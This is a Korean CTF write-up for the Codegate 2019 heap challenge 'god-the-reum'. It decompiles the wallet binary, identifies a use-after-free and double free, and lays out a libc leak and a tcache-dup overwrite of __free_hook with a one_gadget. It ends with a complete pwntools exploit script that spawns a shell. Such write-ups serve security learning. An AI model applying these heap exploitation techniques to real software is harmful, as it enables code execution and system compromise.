Search

[Codegate 2019] god-the-reum

Last edited time
2022/01/07 12:48
tag
pwn
Category
CTF 문제들
Visibility
Public

1. 문제

1) mitigation 확인
다 걸려있다.
2) 문제 확인
힙 문제로 추정된다. 바로 분석해보자.
3) 코드흐름 파악
우선 구조체를 두개 만들어줬다.
struct wallet { char *wallet_addr; char *wallet_size_addr; }; struct wallet_table_ { char table[16]; };
C
복사
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { wallet *wallet; // rdi unsigned int index; // [rsp+1Ch] [rbp-64h] wallet *wallet_table; // [rsp+20h] [rbp-60h] unsigned __int64 v7; // [rsp+78h] [rbp-8h] v7 = __readfsqword(0x28u); setvbuf(stdout, 0LL, 2, 0LL); wallet = (wallet *)stdin; setvbuf(stdin, 0LL, 2, 0LL); while ( 1 ) { index = print_menu(); while ( getchar() != '\n' ) ; switch ( (unsigned __int64)index ) // print_menu의 return 값 { case 1uLL: wallet = (wallet *)&(&wallet_table)[2 * wallet_count]; create_wallet(wallet); break; case 2uLL: wallet = (wallet *)&(&wallet_table)[2 * (int)select_wallet()]; deposit((wallet **)wallet); break; case 3uLL: wallet = (wallet *)&(&wallet_table)[2 * (int)select_wallet()]; withdraw((wallet **)wallet); break; case 4uLL: wallet = (wallet *)&wallet_table; show((__int64)&wallet_table); break; case 5uLL: puts("bye da."); return 0LL; case 6uLL: wallet = (wallet *)&(&wallet_table)[2 * (int)select_wallet()]; for_developer((__int64)wallet); break; default: unknown_menu((__int64)wallet, 0LL); break; } } }
C
복사
각 메뉴에 따라서 스택영역에 들어있는 wallet_table의 인덱스를 인자로 한다.
unsigned __int64 __fastcall create_wallet(wallet *wallet) { unsigned int v1; // eax char v3; // [rsp+13h] [rbp-1Dh] char v4; // [rsp+13h] [rbp-1Dh] int i; // [rsp+14h] [rbp-1Ch] size_t size; // [rsp+18h] [rbp-18h] void *buf; // [rsp+20h] [rbp-10h] unsigned __int64 v8; // [rsp+28h] [rbp-8h] v8 = __readfsqword(0x28u); buf = malloc(0x82uLL); if ( !buf || wallet_count > 4 ) { puts("wallet creation failed"); exit(0); } memset(buf, 0, 0x82uLL); strcat((char *)buf, "0x"); v1 = time(0LL); srand(v1); for ( i = 0; i <= 0x27; ++i ) { v3 = rand() % 15; if ( v3 > 9 ) v4 = rand() % 6 + 97; else v4 = v3 + 48; *((_BYTE *)buf + i + 2) = v4; } wallet->wallet_addr = (char *)buf; printf("how much initial eth? : "); __isoc99_scanf("%llu", &size); wallet->wallet_size_addr = (char *)malloc(size); if ( wallet->wallet_size_addr ) *(_QWORD *)wallet->wallet_size_addr = size; ++wallet_count; print_newlines(); puts("Creating new wallet succcess !\n"); print_create_wallet_info((__int64)wallet->wallet_addr, (_QWORD *)wallet->wallet_size_addr); putchar(10); return __readfsqword(0x28u) ^ v8; }
C
복사
지갑은 5개까지만 만들수 있다. create함수가 한번 호출되면, 0x81 고정사이즈로 malloc이 한번되고, 입력한 사이즈만큼 malloc을 한다. 따라서 총 2번의 malloc을 하게 된다.
unsigned __int64 __fastcall withdraw(wallet *wallet) { __int64 withdarw_; // [rsp+10h] [rbp-10h] unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); printf("how much you wanna withdraw? : "); __isoc99_scanf("%llu", &withdarw_); *(_QWORD *)wallet->wallet_size_addr -= withdarw_; if ( !*(_QWORD *)wallet->wallet_size_addr ) free(wallet->wallet_size_addr); puts("withdraw ok !\n"); return __readfsqword(0x28u) ^ v3; }
C
복사
withdraw함수를 보면, 선택한 wallet→wallet_size_addr 에 들어있는 값이 0이면 free를 한다. free후 따로 초기화를 하지 않기 때문에 uaf와 double free가 가능할것이다.
__int64 __fastcall for_developer(wallet *wallet) { print_newlines(); puts("this menu is only for developer"); puts("if you are not developer, please get out"); sleep(1u); printf("new eth : "); return __isoc99_scanf("%10s", wallet->wallet_size_addr); }
C
복사
6번 메뉴로 wallet→size_addr에 값을 넣을수 있다.

2. 접근방법

uaf, dbf가 가능하다.
총 create함수는 5번까지 호출가능
large bin 사이즈로 create 2번, withdraw 1번 호출로 libc leak 가능
tache에 들어갈 사이즈로 create 2번, withdraw 2번 호출후 show로 heap code leak 가능
일단 이정도로 정리가 가능하다. 최종목표는 wallet_table에 들어있는 아무 인덱스의 힙 주소를 free_hook 같은걸로 덮은다음, 6번 메뉴로 free_hook에 one_shot 가젯을 넣는것이다.
그럼 create 함수 호출시 할당받는 주소를 free_hook이 되게해야한다. 즉 fd영역에 free_hook을 넣어야한다. double free 체크가 없으므로 0x10 정도 사이즈로 create호출후, withdraw를 2번 호출하여 tcache dup을 한다.
dup을 이용해서 fd에 동일한 청크가 잘 들어간것을 확인할수 있다. 이제 여기서 해당 인덱스를 선택해서 6번 메뉴를 호출하고, 0x55ff0c930380에 free_hook을 넣는다. 이 위치가 바로 fd이다.
6번메뉴의 호출이 끝나면, 해당 힙의 fd에 free_hook이 들어간다. 여기서 2번더 create를 호출하면, wallet_table에 free_hook 주소가 들어간다. 이 인덱스를 4번이라고 하면 table[4]를 선택한뒤, 6번 메뉴를 호출하고, 값을 쓰면 free_hook에 넣은 값이 들어간다. 즉 여기다가 원샷을 넣으면 된다.
그리고 마지막으로 free를 호출하면 끝이다.

3. 풀이

from pwn import * context(log_level='DEBUG') p=process('./god-the-reum') gdb.attach(p,'code\nb *0xb60+$code\n') def create(money): p.sendlineafter('choice : ','1') p.sendlineafter('eth? : ',str(money)) def deposit(index,money): p.sendlineafter('choice : ','2') p.sendlineafter('no : ',str(index)) p.sendlineafter('deposit? : ',str(money)) def withdraw(index,money): p.sendlineafter('choice : ','3') p.sendlineafter('no : ',str(index)) p.sendlineafter('withdraw? : ',str(money)) def show(): p.sendlineafter('choice : ','4') def developer(index,new_): p.sendlineafter('choice : ','6') p.sendlineafter('no : ',str(index)) p.sendlineafter('new eth : ',new_) #leak create(1040) create(1040) withdraw(0,1040) show() p.recvuntil('ballance ') leak=p.recvuntil('\n')[:-1] leak=int(leak) libc_base=leak-0x3ebca0 free_hook=libc_base+0x00000000003ed8e8 log.info('main_arena+96::'+hex(leak)) log.info('libcbase :: '+hex(libc_base)) log.info('free_hook:: '+hex(free_hook)) create(81) withdraw(2,81) withdraw(2,0) show() p.recvuntil('2) addr') p.recvuntil('ballance ') leak=p.recvuntil('\n')[:-1] leak=int(leak) log.info('heap code :: '+hex(leak)) one=[0x4f365,0x4f3c2,0x4f3c2] one_gadget=libc_base+one[1] #create(81) developer(2,p64(free_hook)) create(81) create(81) developer(4,p64(one_gadget)) withdraw(1,1040) p.interactive()
Python
복사

4. 몰랐던 개념